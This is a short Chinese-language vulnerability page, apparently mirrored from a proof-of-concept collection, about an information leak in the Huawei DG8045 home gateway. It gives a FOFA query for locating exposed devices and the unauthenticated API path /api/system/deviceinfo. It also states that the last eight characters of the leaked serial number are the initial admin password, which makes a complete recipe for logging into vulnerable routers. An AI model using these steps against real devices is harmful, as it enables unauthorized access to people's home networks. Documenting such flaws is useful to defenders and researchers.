mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
33 lines
614 B
Markdown
33 lines
614 B
Markdown
# Huawei DG8045 deviceinfo 信息泄漏漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
Huawei DG8045 deviceinfo api接口存在信息泄漏漏洞，攻击者通过泄漏的信息可以获得账号密码登录后台
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Huawei DG8045
|
||
```
|
||
|
||
## FOFA
|
||
|
||
```
|
||
app="DG8045-Home-Gateway-DG8045"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
登录页面
|
||
|
||
|
||
|
||
验证POC
|
||
|
||
```
|
||
/api/system/deviceinfo
|
||
```
|
||
|
||
|
||
|
||
SerialNumber 后8位即为初始密码 |